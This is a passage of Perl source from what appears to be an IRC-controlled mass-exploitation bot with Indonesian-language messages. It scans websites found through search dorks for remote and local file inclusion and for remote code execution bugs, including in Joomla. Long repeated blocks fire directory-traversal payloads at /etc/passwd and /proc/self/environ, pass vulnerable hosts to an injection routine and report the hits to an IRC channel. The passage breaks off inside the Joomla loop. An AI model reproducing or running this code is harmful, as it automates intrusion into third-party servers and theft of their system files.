irc_msg($to,$colz{10}.$colz{5}."XSSLFI ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$Domains." ".$dork,$sb,4);
}
irc_msg($to,$colz{10}."BuGz:".$colz{4}." $bug ");
irc_msg($to,$colz{10}."DoRkz:".$colz{4}." ".$Domains." ".$dork);
if ($type == 1){ irc_msg($to,$colz{7}."Auto DorkZ SQL ScaN & ExpLoiT SeLeSai!". $colz{14}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
if ($type == 2){ irc_msg($to,$colz{7}."Auto DorkZ XML ScaN & ExpLoiT SeLeSai!". $colz{14}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
if ($type == 3){ irc_msg($to,$colz{7}."Auto DorkZ e107 ScaN & ExpLoiT SeLeSai!". $colz{14}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
if ($type == 4){ irc_msg($to,$colz{7}."Auto DorkZ XSSLFI ScaN & ExpLoiT SeLeSai!".$colz{14}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
}
return;
}
}
sub s_eksploit {
#Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
#Engine: Kosong = Eksploit total, Ada = Eksploit per engine
my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
my @prosesbaru;
my @semuatarget;
my $hitung;
my $num = 0;
my @bugjoomla = bugjoomla($chan) if ($type == 3);
unless (open(FILEZ,"< $tf")) { msge($chan,"FILE",$colz{5}."Ga BiSa BuKa $tf!"); return; }
while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
close(FILEZ);
f_hapus($tf);
my @kotor = lnk_sortir(@semuatarget);
my @target = lnk_filter(@kotor);
if (!$engine) {
irc_msg($chan,$colz{5}."HaSiL PeNCaRiaN".$colz{3}." $dork");
irc_msg($chan,$colz{10}."ToTaL: ".$colz{6}." ".scalar(@semuatarget)." ".$colz{14}."KoToR: "." ".$colz{6}.scalar(@kotor)." ".$colz{14}."BeRsih: ".$colz{6}." ".scalar(@target).$colz{2}." ID: $tf ".$colz{7}."ExpLoiTaSi DiMuLai!");
}
foreach my $situs (@target) {
$hitung++;
if ($hitung % $conf{rfipid} == 0) {
foreach my $f (@prosesbaru) { waitpid($f,0); }
$num = 0;
}
if ($type == 1 && $hitung % $conf{rficnt} == 0) {
irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
irc_msg($chan,$colz{14}." ".$hitung." $colz{6} ".scalar(@target));
}
if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
irc_msg($chan,$colz{14}." $engine ".$colz{6}." ".$hitung." ".$colz{1}." => ".$colz{14}." ".scalar(@target). " ");
}
$prosesbaru[$num] = fork();
if ($prosesbaru[$num] == 0) {
if ($type != 3) {
my $q = bukasitus("http://".$situs.$bug.$Ckrid."?");
if ($q =~ /Origins/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
elsif($q =~ /failed to open stream/){
my $qlfi = bukasitus("http://".$situs.$bug.$lfitest);
my $qlfienviron;
if ($qlfi =~ /HTTP_USER_AGENT/){ safemode(1,$chan,$situs,$bug.$lfitest."&Origins=",$engine); sleep($conf{sleepz}); }
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../etc/passwd%00".$colz{1}." ]");}}}
else {
$q = bukasitus("http://".$situs.$bug.$xsslfitst);
if ($q =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/) { irc_msg($chan,"[".$colz{6}."XSSLFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../etc/passwd/[512b]/..".$colz{1}."]"); }
}
}
else {
$q = bukasitus("http://".$situs.$bug.$rcetest);
if ($q =~ /Origins/) { irc_msg($chan,"[".$colz{3}."RCE".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." "); }
}
}
else {
foreach my $bug (@bugjoomla) {
my $q = bukasitus("http://".$situs.$bug.$Ckrid."?");
if ($q =~ /Origins/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
elsif($q =~ /failed to open stream/){
my $qlfi = bukasitus("http://".$situs.$bug.$lfitest);
my $qlfienviron;
if ($qlfi =~ /HTTP_USER_AGENT/){ safemode(1,$chan,$situs,$bug.$lfitest."&Origins=",$engine); sleep($conf{sleepz}); }
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
